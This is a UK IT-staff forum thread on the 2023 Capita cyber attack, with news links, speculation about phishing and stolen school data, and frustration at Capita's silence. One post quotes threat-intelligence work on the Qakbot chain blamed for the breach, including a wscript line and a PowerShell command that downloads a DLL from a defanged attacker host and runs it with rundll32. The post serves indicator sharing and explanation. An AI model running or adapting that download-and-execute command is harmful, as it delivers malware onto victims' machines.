Capita - potential cyber attack cripples outsourcer

[psydii]

https://www.theguardian.com/business/2023/mar/31/capita-it-systems-fail-cyber-attack-nhs-fears

 

They've been down all morning, Cabinet Office and NCSC alerted. Staff using pens paper and radios to run operations at some sites.

[elsiegee40]

Allegedly school data has been compromised

 

https://twitter.com/gossithedog/status/1645401894712406020

Edited April 12, 2023 by elsiegee40

[mikes]

Looks to me like they might have phished one user and have exfiltrated what that user was doing - on the Vice Society and other ransomware gangs websites, if you go onto their school data a lot of it is just a phish of one user - they'll post that user's e-mails, documents, and any shared drives they may have access to - but it's obvious they have only phished one user as there is no list of user home folders etc on their darkweb sites. Of course even a phish of just 1 user can be devastating if our CP person got hit it would maybe reach Welsh national news! It's my worst nightmare worse than having a car accident!

[djm968]

This is an interesting read from that tweet.

 

https://doublepulsar.com/black-basta-ransomware-group-extorts-capita-with-stolen-customer-data-capita-fumble-response-9c3ca6c3b283

[XiJ]

Having been on the other side, your cyber insurance and their appointed legal advisors etc advise to not say certain things. Some of the advice seems a bit sketchy to me but transparency is apparently not high in the agenda

 

Capita’s directors also have a duty to protect the business and leaving them selves wide open for legal action isn’t a good thing.

 

Personally I’d prefer transparency - they ARE victims here. But there are still people would would exploit that situation.

 

Dammit, that almost sounds like I’m defending Capita!

[psydii]

The Times appear to have now verified that write up: https://www.thetimes.co.uk/article/110a6d24-db97-11ed-b1e2-4c4ae98cfe2f

[psydii]

The Register is re-reporting that the ransomware gang are starting to sell off access to the data allegedly stolen during the Capita incident: https://www.theregister.com/2023/04/18/capita_breach_gets_worse/

 

The only new piece of information presented is that as of Tuesday, Capita still have not confirmed whether or not the data on offer is from their incident, which really is just confirming the status is unchanged since last week.

 

Unless it turns out either the data on offer is not from the Capita incident, or that there is an operation afoot to contain the breached data, seize the infrastructure and arrest the responsible criminals, I can't imagine that any of their customers will be at all happy in the way Capita are handling it.

[free780]

ICO have posted this

 

https://ico.org.uk/about-the-ico/media-centre/news-and-blogs/2023/04/ico-statement-on-capita-incident/

[jmak]

Pretty difficult for Capita's customers to report data breaches while Capita doesn't publish details. Are schools supposed to monitor "the dark web" for information that might have come from their pupils or staff records?

[TwistedHelixis]

It's my worst nightmare worse than having a car accident!

At the end of the day its not really your fault. If someone really wanted to hack a specific school or business they probably could. Think how that one user that clicks on the phishing email must feel, knowing they gave hacker access.

 

I once had a chat with a head about this and the stress it would cause IT and her answer was, has anyone died? If not then do what you can but don't stress about it. I remind myself of those words whenever the stress creeps back in :-)

[Arthur]

How it all started...

 

https://twitter.com/GossiTheDog/status/1654904616054849536

 

Here is the Qakbot campaign that hit Capita, as caught by @pr0xylife the day before entry at Capita.

 

Black Basta are using entry via web placements - for example, fake browser updates in malvertising — follow @Cryptolaemus1 for tracking.

 

#Qakbot - BB20 - .zip > .js > ps > .dll

 

wscript rem.js

powershell $chr = ("hxxps://amazonneon[.]com / YDPjgv0 / Fd49a7")

foreach ($ca in $chr) {try {Invoke-WebRequest $ca $env:TEMP\NonfactiousUnbale.dll

rundll32 $env:TEMP\NonfactiousUnbale.dll,GL70

 

IOCs

https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB20_20.03.2023.txt

[jthompson]

From The Guardian: Cyber-attack to cost outsourcing firm Capita up to £20m

[free780]

https://twitter.com/gossithedog/status/1660642497633058816?s=46&t=P6jzQLbwVcCTykF7n36lig

[andy_b]

https://ico.org.uk/about-the-ico/media-centre/news-and-blogs/2023/05/ico-statement-on-capita-incident/

[free780]

https://www.bbc.co.uk/news/technology-65746518

[Reverend_Dan]

MyWife got and email off Capita saying they had breached her data in the USS pension scheme with a link for a free check from an equifax service. She did join USS after the date they said was initially safe and not breached.